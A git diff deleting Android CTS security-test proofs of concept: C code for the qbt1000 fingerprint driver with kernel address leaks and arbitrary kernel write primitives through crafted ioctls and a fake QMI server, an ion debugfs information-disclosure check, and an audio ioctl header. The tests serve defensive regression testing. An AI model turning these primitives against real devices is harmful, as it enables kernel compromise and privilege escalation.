-#include <stdbool.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <sys/ioctl.h>
-#include <sys/socket.h>
-#include <sys/stat.h>
-#include <sys/types.h>
-#include <sys/types.h> /* See NOTES */
-
-static const char *dev = "/dev/qbt1000";
-
-#define QBT1000_SNS_SERVICE_ID 0x138 /* From sns_common_v01.idl */
-#define QBT1000_SNS_SERVICE_VER_ID 1
-#define QBT1000_SNS_INSTANCE_INST_ID 0
-
-#define SNS_QFP_OPEN_RESP_V01 0x0020
-
-#define QMI_REQUEST_CONTROL_FLAG 0x00
-#define QMI_RESPONSE_CONTROL_FLAG 0x02
-#define QMI_INDICATION_CONTROL_FLAG 0x04
-#define QMI_HEADER_SIZE 7
-
-#define OPTIONAL_TLV_TYPE_START 0x10
-
-enum elem_type {
- QMI_OPT_FLAG = 1,
- QMI_DATA_LEN,
- QMI_UNSIGNED_1_BYTE,
- QMI_UNSIGNED_2_BYTE,
- QMI_UNSIGNED_4_BYTE,
- QMI_UNSIGNED_8_BYTE,
- QMI_SIGNED_2_BYTE_ENUM,
- QMI_SIGNED_4_BYTE_ENUM,
- QMI_STRUCT,
- QMI_STRING,
- QMI_EOTI,
-};
-
-volatile int cont = 1;
-
-struct qmi_header {
- unsigned char cntl_flag;
- uint16_t txn_id;
- uint16_t msg_id;
- uint16_t msg_len;
-} __attribute__((__packed__));
-
-struct qseecom_handle {
- void *dev; /* in/out */
- unsigned char *sbuf; /* in/out */
- uint32_t sbuf_len; /* in/out */
-};
-
-enum qbt1000_commands {
- QBT1000_LOAD_APP = 100,
- QBT1000_UNLOAD_APP = 101,
- QBT1000_SEND_TZCMD = 102
-};
-
-struct qbt1000_app {
- struct qseecom_handle **app_handle;
- char name[32];
- uint32_t size;
- uint8_t high_band_width;
-};
-
-struct qbt1000_send_tz_cmd {
- struct qseecom_handle *app_handle;
- uint8_t *req_buf;
- uint32_t req_buf_len;
- uint8_t *rsp_buf;
- uint32_t rsp_buf_len;
-};
-
-struct msm_ipc_port_addr {
- uint32_t node_id;
- uint32_t port_id;
-};
-
-struct msm_ipc_port_name {
- uint32_t service;
- uint32_t instance;
-};
-
-struct msm_ipc_addr {
- unsigned char addrtype;
- union {
- struct msm_ipc_port_addr port_addr;
- struct msm_ipc_port_name port_name;
- } addr;
-};
-
-/*
- * Socket API
- */
-
-#define AF_MSM_IPC 27
-
-#define PF_MSM_IPCAF_MSM_IPC
-
-#define MSM_IPC_ADDR_NAME 1
-#define MSM_IPC_ADDR_ID 2
-
-struct sockaddr_msm_ipc {
- unsigned short family;
- struct msm_ipc_addr address;
- unsigned char reserved;
-};
-
-struct qbt1000_app app = {0};
-
-static int get_fd(const char *dev_node) {
- int fd;
- fd = open(dev_node, O_RDWR);
- if (fd < 0) {
- cont = 0;
- exit(EXIT_FAILURE);
- }
-
- return fd;
-}
-
-static void leak_heap_ptr(int fd) {
- void *addr = NULL;
- app.app_handle = (void *)&addr;
- app.size = 32;
- ioctl(fd, QBT1000_LOAD_APP, &app);
-}
-
-static void arb_kernel_write_load_app(int fd) {
- struct qbt1000_app app = {0};
-
- app.app_handle = (void *)0xABADACCE55013337;
- ioctl(fd, QBT1000_LOAD_APP, &app);
-}
-
-static void arb_kernel_write_send_tzcmd(int fd) {
- struct qseecom_handle hdl = {0};
- struct qbt1000_send_tz_cmd cmd = {0};
- int x = 0;
-
- hdl.sbuf =
- (void
- *)0xffffffc0017b1b84; // malloc(4096);//(void *) 0xABADACCE55000000;
- cmd.app_handle = &hdl;
- cmd.req_buf = &x;
- cmd.rsp_buf = NULL; // malloc(4096);
- cmd.req_buf_len = cmd.rsp_buf_len = 4;
-
- ioctl(fd, QBT1000_SEND_TZCMD, &cmd);
-}
-
-static void recv_msgs(int fd) {
- struct msghdr msg = {0};
- struct iovec io = {0};
- struct sockaddr_msm_ipc addr = {0};
- struct msm_ipc_addr address = {0};
- uint8_t *ptr;
- struct qmi_header *hdr;
- int count = 1;
-
- io.iov_base = malloc(4096);
- memset(io.iov_base, 0, 4096);
- io.iov_len = 4096;
-
- msg.msg_iovlen = 1;
- msg.msg_iov = &io;
- msg.msg_name = &addr;
- msg.msg_namelen = sizeof(addr);
-
- for (int i = 0; i < 1000; i++) {
- recvmsg(fd, &msg, MSG_CMSG_CLOEXEC);
- memset(io.iov_base, 0, 128);
- hdr = io.iov_base;
-
- hdr->cntl_flag = QMI_RESPONSE_CONTROL_FLAG;
- hdr->txn_id = count++;
- hdr->msg_id = SNS_QFP_OPEN_RESP_V01;
- hdr->msg_len = 3;
-
- ptr = io.iov_base + sizeof(*hdr);
-
- *ptr = OPTIONAL_TLV_TYPE_START;
- ptr++;
- *ptr = 0;
- ptr++;
- *ptr = 0;
- sendmsg(fd, &msg, MSG_CMSG_CLOEXEC);
- }
-}
-
-#define BUILD_INSTANCE_ID(vers, ins) (((vers)&0xFF) | (((ins)&0xFF) << 8))
-static void setup_ipc_server(void) {
- int fd;
- struct sockaddr_msm_ipc addr = {0};
- fd = socket(AF_MSM_IPC, SOCK_DGRAM, 0);
-
- if (fd < 0) {
- exit(EXIT_FAILURE);
- }
-
- addr.family = AF_MSM_IPC;
- addr.address.addrtype = MSM_IPC_ADDR_NAME;
- addr.address.addr.port_name.service = QBT1000_SNS_SERVICE_ID;
- addr.address.addr.port_name.instance = BUILD_INSTANCE_ID(
- QBT1000_SNS_SERVICE_VER_ID, QBT1000_SNS_INSTANCE_INST_ID);
-
- bind(fd, (struct sockaddr *)&addr, sizeof(addr));
- recv_msgs(fd);
- return;
-}
-
-static void *leak_ptr(void *ignore) {
- void *save;
- for (int i = 0; i < 1000; i++) {
- if (app.app_handle != NULL) {
- save = *app.app_handle;
- if (save != NULL) {
- break;
- }
- }
- }
- return 0;
-}
-
-static void *do_ipc_crap(void *ignore) { setup_ipc_server(); return 0; }
-
-int main2() {
- int i;
- int fd = open("/dev/qbt1000", O_RDWR);
- if (fd < 0) {
- return 1;
- }
-
- struct qbt1000_app app;
-
- unsigned char *line = malloc(4096);
- memset(line, 0, 4096);
-
-try_again:
- system("dmesg -c");
-
- memset(&app, 0x41, sizeof(app));
-
- app.app_handle = malloc(64);
- if (!app.app_handle) {
- close(fd);
- return 1;
- }
-
- ioctl(fd, QBT1000_LOAD_APP, &app);
-
- free(app.app_handle);
- unsigned offset;
- unsigned bytes_leaked;
- unsigned char leaked_bytes[256];
- unsigned idle;
- pid_t child;
-
- memset(line, 0, 4096);
- offset = 0;
- bytes_leaked = 0;
- idle = 0;
- memset(leaked_bytes, 0, sizeof(leaked_bytes));
- while (!strchr(line, '\n')) {
- if (klogctl(9, NULL, 0))
- offset += klogctl(2, &line[offset], 4096);
- else
- idle++;
- if (idle > 1000) return 0;
- }
-
- char *inv = strstr(line, "qbt1000_ioctl:");
- if (!inv) return 0;
- inv = strstr(inv, "App ");
- if (!inv) return 0;
- inv += 4; // go past "App"
- char *a;
- a = strchr(inv, 'A');
- if (!a) return 0;
-
- // keep going until no more A's
- while (*a++ == 'A')
- ;
-
- int keep_going = 1;
- while (*a != '\n' && *a != '\0') {
- leaked_bytes[bytes_leaked++] = *a++;
- }
-
- if (bytes_leaked < 7) {
- goto fork_it;
- }
-
-#define KERN_ADDR 0xffffffc000000000
- // let's do some post-processing to see if we got some pointers
- for (i = 0; i < bytes_leaked - (sizeof(size_t) - 1); i++) {
- size_t *c = (size_t *)(&leaked_bytes[i]);
- if ((*c & KERN_ADDR) == KERN_ADDR) {
- printf("KERNEL ADDRESS LEAKED = 0x%016lx\n", *c);
- keep_going = 0;
- }
- }
-
- bytes_leaked = 0;
- memset(leaked_bytes, 0, sizeof(leaked_bytes));
-
- if (keep_going) {
- fork_it:
- usleep(10000);
- child = fork();
- if (child == 0) {
- return 0;
- } else {
- while (child = waitpid(-1, NULL, 0)) {
- if (errno == ECHILD) break;
- }
- }
- }
-
- close(fd);
- free(line);
- return 0;
-}
-
-int main(void) {
- pthread_t ipc;
- pthread_create(&ipc, NULL, do_ipc_crap, NULL);
-
- usleep(50000);
-
- main2();
-}
diff --git a/hostsidetests/security/securityPatch/Bug-35644815/Android.mk b/hostsidetests/security/securityPatch/Bug-35644815/Android.mk
deleted file mode 100644
index 1dd2950..0000000
--- a/hostsidetests/security/securityPatch/Bug-35644815/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-#Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
- include $(CLEAR_VARS)
-LOCAL_MODULE := Bug-35644815
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-35644815/poc.c b/hostsidetests/security/securityPatch/Bug-35644815/poc.c
deleted file mode 100644
index f62812d..0000000
--- a/hostsidetests/security/securityPatch/Bug-35644815/poc.c
+++ /dev/null
@@ -1,136 +0,0 @@
-/**
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#define _GNU_SOURCE
-#include <string.h>
-#include <errno.h>
-#include <fcntl.h>
-#include <pthread.h>
-#include <sched.h>
-#include <signal.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <sys/ioctl.h>
-#include <sys/mman.h>
-#include <sys/stat.h>
-#include <sys/types.h>
-#include <unistd.h>
-// for syscall
-#include <sys/syscall.h>
-// for futex
-#include <linux/futex.h>
-#include <sys/time.h>
-// for opendir / readdir
-#include <dirent.h>
-
-#define LOG(fmt, ...) printf(fmt "\n", ##__VA_ARGS__)
-#define ERR(fmt, ...) \
- printf(fmt ": %d(%s)\n", ##__VA_ARGS__, errno, strerror(errno))
-#define ARRAY_SIZE(a) (sizeof(a) / sizeof((a)[0]))
-
-static int set_affinity(int num) {
- int ret = 0;
- cpu_set_t mask;
- CPU_ZERO(&mask);
- CPU_SET(num, &mask);
- ret = sched_setaffinity(0, sizeof(cpu_set_t), &mask);
- if (ret == -1) {
- ERR("[-] set affinity failed");
- }
- return ret;
-}
-
-struct ion_debugfs_handle_header {
- unsigned int version;
-};
-
-struct ion_debugfs_handle_entry {
- unsigned int heap_id;
- size_t size;
- unsigned int flags;
- unsigned int handle_count;
- size_t mapped_size;
-};
-
-struct ion_debugfs_handle {
- struct ion_debugfs_handle_header hdr;
- struct ion_debugfs_handle_entry entry;
-};
-
-#define TARGET "/sys/kernel/debug/ion/clients/pids/"
-int main(int argc, char *argv[]) {
- int i, j, ret, tmpfd;
- ssize_t rr;
- char buf[PAGE_SIZE] = {0}, *p;
- DIR *dir;
- struct dirent *ent;
- struct ion_debugfs_handle_header hdr = {0};
- struct ion_debugfs_handle_entry entry = {0};
- struct ion_debugfs_handle handle = {0};
-
- /* bind_cpu */
- set_affinity(0);
-
- dir = opendir(TARGET);
- if (dir == NULL) {
- ERR("[-] opendir %s failed", TARGET);
- return -1;
- }
-
- while (ent = readdir(dir)) {
- if (ent->d_type != DT_REG) {
- continue;
- }
-
- memset(buf, 0, PAGE_SIZE);
- snprintf(buf, PAGE_SIZE, "%s%s", TARGET, ent->d_name);
-
- tmpfd = open(buf, O_RDWR);
-
- if (tmpfd == -1) {
- continue;
- }
-
- rr = read(tmpfd, &hdr, sizeof(hdr));
-
- for (;;) {
- rr = read(tmpfd, &entry, sizeof(entry));
- if (rr == 0) {
- break;
- }
-
- if (rr != sizeof(entry)) {
- break;
- }
-
- p = (char *)&entry;
- p += sizeof(int);
- for (i = 0; i < sizeof(int); i++) {
- if(p[i] != 0) {
- printf("INFO DISC FLAG; ");
- for (j = 0; j < sizeof(int); j++) {
- printf("%x", p[j]);
- }
- break;
- }
- }
- }
- close(tmpfd);
- }
- closedir(dir);
- return 0;
-}
diff --git a/hostsidetests/security/securityPatch/Bug-35676417/Android.mk b/hostsidetests/security/securityPatch/Bug-35676417/Android.mk
deleted file mode 100644
index 41ba50d..0000000
--- a/hostsidetests/security/securityPatch/Bug-35676417/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := Bug-35676417
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-35676417/local_poc.h b/hostsidetests/security/securityPatch/Bug-35676417/local_poc.h
deleted file mode 100644
index 9f48e60..0000000
--- a/hostsidetests/security/securityPatch/Bug-35676417/local_poc.h
+++ /dev/null
@@ -1,506 +0,0 @@
-/**
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#ifndef __CMD_H__
-#define __CMD_H__
-
-#define _IOC_NRBITS 8
-#define _IOC_TYPEBITS 8
-
-/*
- * Let any architecture override either of the following before
- * including this file.
- */
-
-#ifndef _IOC_SIZEBITS
-#define _IOC_SIZEBITS 14
-#endif
-
-#ifndef _IOC_DIRBITS
-#define _IOC_DIRBITS 2
-#endif
-
-#define _IOC_NRMASK ((1 << _IOC_NRBITS) - 1)
-#define _IOC_TYPEMASK ((1 << _IOC_TYPEBITS) - 1)
-#define _IOC_SIZEMASK ((1 << _IOC_SIZEBITS) - 1)
-#define _IOC_DIRMASK ((1 << _IOC_DIRBITS) - 1)
-
-#define _IOC_NRSHIFT 0
-#define _IOC_TYPESHIFT (_IOC_NRSHIFT + _IOC_NRBITS)
-#define _IOC_SIZESHIFT (_IOC_TYPESHIFT + _IOC_TYPEBITS)
-#define _IOC_DIRSHIFT (_IOC_SIZESHIFT + _IOC_SIZEBITS)
-
-/*
- * Direction bits, which any architecture can choose to override
- * before including this file.
- */
-
-#ifndef _IOC_NONE
-#define _IOC_NONE 0U
-#endif
-
-#ifndef _IOC_WRITE
-#define _IOC_WRITE 1U
-#endif
-
-#ifndef _IOC_READ
-#define _IOC_READ 2U
-#endif
-
-#define _IOC_TYPECHECK(t) (sizeof(t))
-#define _IOC(dir, type, nr, size) \
- (((dir) << _IOC_DIRSHIFT) | ((type) << _IOC_TYPESHIFT) | \
- ((nr) << _IOC_NRSHIFT) | ((size) << _IOC_SIZESHIFT))
-
-/* used to create numbers */
-#define _IO(type, nr) _IOC(_IOC_NONE, (type), (nr), 0)
-#define _IOR(type, nr, size) \
- _IOC(_IOC_READ, (type), (nr), (_IOC_TYPECHECK(size)))
-#define _IOW(type, nr, size) \
- _IOC(_IOC_WRITE, (type), (nr), (_IOC_TYPECHECK(size)))
-#define _IOWR(type, nr, size) \
- _IOC(_IOC_READ | _IOC_WRITE, (type), (nr), (_IOC_TYPECHECK(size)))
-
-/* PCM Audio */
-
-#define AUDIO_IOCTL_MAGIC 'a'
-
-#define AUDIO_START _IOW(AUDIO_IOCTL_MAGIC, 0, unsigned)
-#define AUDIO_STOP _IOW(AUDIO_IOCTL_MAGIC, 1, unsigned)
-#define AUDIO_FLUSH _IOW(AUDIO_IOCTL_MAGIC, 2, unsigned)
-#define AUDIO_GET_CONFIG _IOR(AUDIO_IOCTL_MAGIC, 3, struct msm_audio_config)
-#define AUDIO_SET_CONFIG _IOW(AUDIO_IOCTL_MAGIC, 4, struct msm_audio_config)
-#define AUDIO_GET_STATS _IOR(AUDIO_IOCTL_MAGIC, 5, struct msm_audio_stats)
-#define AUDIO_ENABLE_AUDPP _IOW(AUDIO_IOCTL_MAGIC, 6, unsigned)
-#define AUDIO_SET_ADRC _IOW(AUDIO_IOCTL_MAGIC, 7, unsigned)
-#define AUDIO_SET_EQ _IOW(AUDIO_IOCTL_MAGIC, 8, unsigned)
-#define AUDIO_SET_RX_IIR _IOW(AUDIO_IOCTL_MAGIC, 9, unsigned)
-#define AUDIO_SET_VOLUME _IOW(AUDIO_IOCTL_MAGIC, 10, unsigned)
-#define AUDIO_PAUSE _IOW(AUDIO_IOCTL_MAGIC, 11, unsigned)
-#define AUDIO_PLAY_DTMF _IOW(AUDIO_IOCTL_MAGIC, 12, unsigned)
-#define AUDIO_GET_EVENT _IOR(AUDIO_IOCTL_MAGIC, 13, struct msm_audio_event)
-#define AUDIO_ABORT_GET_EVENT _IOW(AUDIO_IOCTL_MAGIC, 14, unsigned)
-#define AUDIO_REGISTER_PMEM _IOW(AUDIO_IOCTL_MAGIC, 15, unsigned)
-#define AUDIO_DEREGISTER_PMEM _IOW(AUDIO_IOCTL_MAGIC, 16, unsigned)
-#define AUDIO_ASYNC_WRITE _IOW(AUDIO_IOCTL_MAGIC, 17, struct msm_audio_aio_buf)
-#define AUDIO_ASYNC_READ _IOW(AUDIO_IOCTL_MAGIC, 18, struct msm_audio_aio_buf)
-#define AUDIO_SET_INCALL _IOW(AUDIO_IOCTL_MAGIC, 19, struct msm_voicerec_mode)
-#define AUDIO_GET_NUM_SND_DEVICE _IOR(AUDIO_IOCTL_MAGIC, 20, unsigned)
-#define AUDIO_GET_SND_DEVICES \
- _IOWR(AUDIO_IOCTL_MAGIC, 21, struct msm_snd_device_list)
-#define AUDIO_ENABLE_SND_DEVICE _IOW(AUDIO_IOCTL_MAGIC, 22, unsigned)
-#define AUDIO_DISABLE_SND_DEVICE _IOW(AUDIO_IOCTL_MAGIC, 23, unsigned)
-#define AUDIO_ROUTE_STREAM \
- _IOW(AUDIO_IOCTL_MAGIC, 24, struct msm_audio_route_config)
-#define AUDIO_GET_PCM_CONFIG _IOR(AUDIO_IOCTL_MAGIC, 30, unsigned)
-#define AUDIO_SET_PCM_CONFIG _IOW(AUDIO_IOCTL_MAGIC, 31, unsigned)
-#define AUDIO_SWITCH_DEVICE _IOW(AUDIO_IOCTL_MAGIC, 32, unsigned)
-#define AUDIO_SET_MUTE _IOW(AUDIO_IOCTL_MAGIC, 33, unsigned)
-#define AUDIO_UPDATE_ACDB _IOW(AUDIO_IOCTL_MAGIC, 34, unsigned)
-#define AUDIO_START_VOICE _IOW(AUDIO_IOCTL_MAGIC, 35, unsigned)
-#define AUDIO_STOP_VOICE _IOW(AUDIO_IOCTL_MAGIC, 36, unsigned)
-#define AUDIO_REINIT_ACDB _IOW(AUDIO_IOCTL_MAGIC, 39, unsigned)
-#define AUDIO_OUTPORT_FLUSH _IOW(AUDIO_IOCTL_MAGIC, 40, unsigned short)
-#define AUDIO_SET_ERR_THRESHOLD_VALUE \
- _IOW(AUDIO_IOCTL_MAGIC, 41, unsigned short)
-#define AUDIO_GET_BITSTREAM_ERROR_INFO \
- _IOR(AUDIO_IOCTL_MAGIC, 42, struct msm_audio_bitstream_error_info)
-
-#define AUDIO_SET_SRS_TRUMEDIA_PARAM _IOW(AUDIO_IOCTL_MAGIC, 43, unsigned)
-
-/* Qualcomm extensions */
-#define AUDIO_SET_STREAM_CONFIG \
- _IOW(AUDIO_IOCTL_MAGIC, 80, struct msm_audio_stream_config)
-#define AUDIO_GET_STREAM_CONFIG \
- _IOR(AUDIO_IOCTL_MAGIC, 81, struct msm_audio_stream_config)
-#define AUDIO_GET_SESSION_ID _IOR(AUDIO_IOCTL_MAGIC, 82, unsigned short)
-#define AUDIO_GET_STREAM_INFO \
- _IOR(AUDIO_IOCTL_MAGIC, 83, struct msm_audio_bitstream_info)
-#define AUDIO_SET_PAN _IOW(AUDIO_IOCTL_MAGIC, 84, unsigned)
-#define AUDIO_SET_QCONCERT_PLUS _IOW(AUDIO_IOCTL_MAGIC, 85, unsigned)
-#define AUDIO_SET_MBADRC _IOW(AUDIO_IOCTL_MAGIC, 86, unsigned)
-#define AUDIO_SET_VOLUME_PATH _IOW(AUDIO_IOCTL_MAGIC, 87, struct msm_vol_info)
-#define AUDIO_SET_MAX_VOL_ALL _IOW(AUDIO_IOCTL_MAGIC, 88, unsigned)
-#define AUDIO_ENABLE_AUDPRE _IOW(AUDIO_IOCTL_MAGIC, 89, unsigned)
-#define AUDIO_SET_AGC _IOW(AUDIO_IOCTL_MAGIC, 90, unsigned)
-#define AUDIO_SET_NS _IOW(AUDIO_IOCTL_MAGIC, 91, unsigned)
-#define AUDIO_SET_TX_IIR _IOW(AUDIO_IOCTL_MAGIC, 92, unsigned)
-#define AUDIO_GET_BUF_CFG _IOW(AUDIO_IOCTL_MAGIC, 93, struct msm_audio_buf_cfg)
-#define AUDIO_SET_BUF_CFG _IOW(AUDIO_IOCTL_MAGIC, 94, struct msm_audio_buf_cfg)
-#define AUDIO_SET_ACDB_BLK \
- _IOW(AUDIO_IOCTL_MAGIC, 95, struct msm_acdb_cmd_device)
-#define AUDIO_GET_ACDB_BLK \
- _IOW(AUDIO_IOCTL_MAGIC, 96, struct msm_acdb_cmd_device)
-
-#define AUDIO_REGISTER_ION \
- _IOW(AUDIO_IOCTL_MAGIC, 97, struct msm_audio_ion_info)
-#define AUDIO_DEREGISTER_ION \
- _IOW(AUDIO_IOCTL_MAGIC, 98, struct msm_audio_ion_info)
-#define AUDIO_SET_EFFECTS_CONFIG \
- _IOW(AUDIO_IOCTL_MAGIC, 99, struct msm_hwacc_effects_config)
-#define AUDIO_EFFECTS_SET_BUF_LEN \
- _IOW(AUDIO_IOCTL_MAGIC, 100, struct msm_hwacc_buf_cfg)
-#define AUDIO_EFFECTS_GET_BUF_AVAIL \
- _IOW(AUDIO_IOCTL_MAGIC, 101, struct msm_hwacc_buf_avail)
-#define AUDIO_EFFECTS_WRITE _IOW(AUDIO_IOCTL_MAGIC, 102, void *)
-#define AUDIO_EFFECTS_READ _IOWR(AUDIO_IOCTL_MAGIC, 103, void *)
-#define AUDIO_EFFECTS_SET_PP_PARAMS _IOW(AUDIO_IOCTL_MAGIC, 104, void *)
-
-#define AUDIO_PM_AWAKE _IOW(AUDIO_IOCTL_MAGIC, 105, unsigned)
-#define AUDIO_PM_RELAX _IOW(AUDIO_IOCTL_MAGIC, 106, unsigned)
-
-#define AUDIO_MAX_COMMON_IOCTL_NUM 107
-
-#define HANDSET_MIC 0x01
-#define HANDSET_SPKR 0x02
-#define HEADSET_MIC 0x03
-#define HEADSET_SPKR_MONO 0x04
-#define HEADSET_SPKR_STEREO 0x05
-#define SPKR_PHONE_MIC 0x06
-#define SPKR_PHONE_MONO 0x07
-#define SPKR_PHONE_STEREO 0x08
-#define BT_SCO_MIC 0x09
-#define BT_SCO_SPKR 0x0A
-#define BT_A2DP_SPKR 0x0B
-#define TTY_HEADSET_MIC 0x0C
-#define TTY_HEADSET_SPKR 0x0D
-
-/* Default devices are not supported in a */
-/* device switching context. Only supported */
-/* for stream devices. */
-/* DO NOT USE */
-#define DEFAULT_TX 0x0E
-#define DEFAULT_RX 0x0F
-
-#define BT_A2DP_TX 0x10
-
-#define HEADSET_MONO_PLUS_SPKR_MONO_RX 0x11
-#define HEADSET_MONO_PLUS_SPKR_STEREO_RX 0x12
-#define HEADSET_STEREO_PLUS_SPKR_MONO_RX 0x13
-#define HEADSET_STEREO_PLUS_SPKR_STEREO_RX 0x14
-
-#define I2S_RX 0x20
-#define I2S_TX 0x21
-
-#define ADRC_ENABLE 0x0001
-#define EQUALIZER_ENABLE 0x0002
-#define IIR_ENABLE 0x0004
-#define QCONCERT_PLUS_ENABLE 0x0008
-#define MBADRC_ENABLE 0x0010
-#define SRS_ENABLE 0x0020
-#define SRS_DISABLE 0x0040
-
-#define AGC_ENABLE 0x0001
-#define NS_ENABLE 0x0002
-#define TX_IIR_ENABLE 0x0004
-#define FLUENCE_ENABLE 0x0008
-
-#define VOC_REC_UPLINK 0x00
-#define VOC_REC_DOWNLINK 0x01
-#define VOC_REC_BOTH 0x02
-
-struct msm_audio_config {
- uint32_t buffer_size;
- uint32_t buffer_count;
- uint32_t channel_count;
- uint32_t sample_rate;
- uint32_t type;
- uint32_t meta_field;
- uint32_t bits;
- uint32_t unused[3];
-};
-
-struct msm_audio_stream_config {
- uint32_t buffer_size;
- uint32_t buffer_count;
-};
-
-struct msm_audio_buf_cfg {
- uint32_t meta_info_enable;
- uint32_t frames_per_buf;
-};
-
-struct msm_audio_stats {
- uint32_t byte_count;
- uint32_t sample_count;
- uint32_t unused[2];
-};
-
-struct msm_audio_ion_info {
- int fd;
- void *vaddr;
-};
-
-struct msm_audio_pmem_info {
- int fd;
- void *vaddr;
-};
-
-struct msm_audio_aio_buf {
- void *buf_addr;
- uint32_t buf_len;
- uint32_t data_len;
- void *private_data;
- unsigned short mfield_sz; /*only useful for data has meta field */
-};
-
-/* Audio routing */
-
-#define SND_IOCTL_MAGIC 's'
-
-#define SND_MUTE_UNMUTED 0
-#define SND_MUTE_MUTED 1
-
-struct msm_mute_info {
- uint32_t mute;
- uint32_t path;
-};
-
-struct msm_vol_info {
- uint32_t vol;
- uint32_t path;
-};
-
-struct msm_voicerec_mode {
- uint32_t rec_mode;
-};
-
-struct msm_snd_device_config {
- uint32_t device;
- uint32_t ear_mute;
- uint32_t mic_mute;
-};
-
-#define SND_SET_DEVICE _IOW(SND_IOCTL_MAGIC, 2, struct msm_device_config *)
-
-enum cad_device_path_type {
- CAD_DEVICE_PATH_RX, /*For Decoding session*/
- CAD_DEVICE_PATH_TX, /* For Encoding session*/
- CAD_DEVICE_PATH_RX_TX, /* For Voice call */
- CAD_DEVICE_PATH_LB, /* For loopback (FM Analog)*/
- CAD_DEVICE_PATH_MAX
-};
-
-struct cad_devices_type {
- uint32_t rx_device;
- uint32_t tx_device;
- enum cad_device_path_type pathtype;
-};
-
-struct msm_cad_device_config {
- struct cad_devices_type device;
- uint32_t ear_mute;
- uint32_t mic_mute;
-};
-
-#define CAD_SET_DEVICE _IOW(SND_IOCTL_MAGIC, 2, struct msm_cad_device_config *)
-
-#define SND_METHOD_VOICE 0
-#define SND_METHOD_MIDI 4
-
-struct msm_snd_volume_config {
- uint32_t device;
- uint32_t method;
- uint32_t volume;
-};
-
-#define SND_SET_VOLUME _IOW(SND_IOCTL_MAGIC, 3, struct msm_snd_volume_config *)
-
-struct msm_cad_volume_config {
- struct cad_devices_type device;
- uint32_t method;
- uint32_t volume;
-};
-
-#define CAD_SET_VOLUME _IOW(SND_IOCTL_MAGIC, 3, struct msm_cad_volume_config *)
-
-/* Returns the number of SND endpoints supported. */
-
-#define SND_GET_NUM_ENDPOINTS _IOR(SND_IOCTL_MAGIC, 4, unsigned *)
-
-struct msm_snd_endpoint {
- int id; /* input and output */
- char name[64]; /* output only */
-};
-
-/* Takes an index between 0 and one less than the number returned by
- * SND_GET_NUM_ENDPOINTS, and returns the SND index and name of a
- * SND endpoint. On input, the .id field contains the number of the
- * endpoint, and on exit it contains the SND index, while .name contains
- * the description of the endpoint.
- */
-
-#define SND_GET_ENDPOINT _IOWR(SND_IOCTL_MAGIC, 5, struct msm_snd_endpoint *)
-
